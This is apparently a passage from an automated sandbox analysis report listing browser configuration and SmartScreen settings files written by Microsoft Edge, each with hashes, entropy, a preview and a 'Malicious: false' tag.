SHA-256:	B57FB02E89F0A97FC7BF9FC58A1B47EC7AEA0E2607C60045494DB22C261193B0
SHA-512:	930157F39D86EF734C235034043D670428B822E3DC21B78905711C8C2B89F383BE29D2A5E67C5B080FC3019BC9C145F8040EEFA6F596CC303E514D79AE3F92C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF26a0a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103041878323793
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynnPGWv/sxtwu7VLyMV/YoskFoz:z/0+zI7ynXv/4KMVeZoskG
MD5:	62D3BE78809049BD9D926992E054D6CF
SHA1:	785A99189D0F61C73BD07E70A8E1F2EB3DA3AF6D
SHA-256:	B57FB02E89F0A97FC7BF9FC58A1B47EC7AEA0E2607C60045494DB22C261193B0
SHA-512:	930157F39D86EF734C235034043D670428B822E3DC21B78905711C8C2B89F383BE29D2A5E67C5B080FC3019BC9C145F8040EEFA6F596CC303E514D79AE3F92C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF26a1a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103041878323793
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynnPGWv/sxtwu7VLyMV/YoskFoz:z/0+zI7ynXv/4KMVeZoskG
MD5:	62D3BE78809049BD9D926992E054D6CF
SHA1:	785A99189D0F61C73BD07E70A8E1F2EB3DA3AF6D
SHA-256:	B57FB02E89F0A97FC7BF9FC58A1B47EC7AEA0E2607C60045494DB22C261193B0
SHA-512:	930157F39D86EF734C235034043D670428B822E3DC21B78905711C8C2B89F383BE29D2A5E67C5B080FC3019BC9C145F8040EEFA6F596CC303E514D79AE3F92C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF26bdf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103041878323793
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynnPGWv/sxtwu7VLyMV/YoskFoz:z/0+zI7ynXv/4KMVeZoskG
MD5:	62D3BE78809049BD9D926992E054D6CF
SHA1:	785A99189D0F61C73BD07E70A8E1F2EB3DA3AF6D
SHA-256:	B57FB02E89F0A97FC7BF9FC58A1B47EC7AEA0E2607C60045494DB22C261193B0
SHA-512:	930157F39D86EF734C235034043D670428B822E3DC21B78905711C8C2B89F383BE29D2A5E67C5B080FC3019BC9C145F8040EEFA6F596CC303E514D79AE3F92C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29272.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103041878323793
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynnPGWv/sxtwu7VLyMV/YoskFoz:z/0+zI7ynXv/4KMVeZoskG
MD5:	62D3BE78809049BD9D926992E054D6CF
SHA1:	785A99189D0F61C73BD07E70A8E1F2EB3DA3AF6D
SHA-256:	B57FB02E89F0A97FC7BF9FC58A1B47EC7AEA0E2607C60045494DB22C261193B0
SHA-512:	930157F39D86EF734C235034043D670428B822E3DC21B78905711C8C2B89F383BE29D2A5E67C5B080FC3019BC9C145F8040EEFA6F596CC303E514D79AE3F92C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f459.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103041878323793
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynnPGWv/sxtwu7VLyMV/YoskFoz:z/0+zI7ynXv/4KMVeZoskG
MD5:	62D3BE78809049BD9D926992E054D6CF
SHA1:	785A99189D0F61C73BD07E70A8E1F2EB3DA3AF6D
SHA-256:	B57FB02E89F0A97FC7BF9FC58A1B47EC7AEA0E2607C60045494DB22C261193B0
SHA-512:	930157F39D86EF734C235034043D670428B822E3DC21B78905711C8C2B89F383BE29D2A5E67C5B080FC3019BC9C145F8040EEFA6F596CC303E514D79AE3F92C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37c74.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103041878323793
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynnPGWv/sxtwu7VLyMV/YoskFoz:z/0+zI7ynXv/4KMVeZoskG
MD5:	62D3BE78809049BD9D926992E054D6CF
SHA1:	785A99189D0F61C73BD07E70A8E1F2EB3DA3AF6D
SHA-256:	B57FB02E89F0A97FC7BF9FC58A1B47EC7AEA0E2607C60045494DB22C261193B0
SHA-512:	930157F39D86EF734C235034043D670428B822E3DC21B78905711C8C2B89F383BE29D2A5E67C5B080FC3019BC9C145F8040EEFA6F596CC303E514D79AE3F92C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a384.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103041878323793
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynnPGWv/sxtwu7VLyMV/YoskFoz:z/0+zI7ynXv/4KMVeZoskG
MD5:	62D3BE78809049BD9D926992E054D6CF
SHA1:	785A99189D0F61C73BD07E70A8E1F2EB3DA3AF6D
SHA-256:	B57FB02E89F0A97FC7BF9FC58A1B47EC7AEA0E2607C60045494DB22C261193B0
SHA-512:	930157F39D86EF734C235034043D670428B822E3DC21B78905711C8C2B89F383BE29D2A5E67C5B080FC3019BC9C145F8040EEFA6F596CC303E514D79AE3F92C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3dd9f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103041878323793
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynnPGWv/sxtwu7VLyMV/YoskFoz:z/0+zI7ynXv/4KMVeZoskG
MD5:	62D3BE78809049BD9D926992E054D6CF
SHA1:	785A99189D0F61C73BD07E70A8E1F2EB3DA3AF6D
SHA-256:	B57FB02E89F0A97FC7BF9FC58A1B47EC7AEA0E2607C60045494DB22C261193B0
SHA-512:	930157F39D86EF734C235034043D670428B822E3DC21B78905711C8C2B89F383BE29D2A5E67C5B080FC3019BC9C145F8040EEFA6F596CC303E514D79AE3F92C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Reputation:	unknown
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Reputation:	unknown
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Reputation:	unknown
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Reputation:	unknown
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Reputation:	unknown
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Reputation:	unknown
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Reputation:	unknown
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
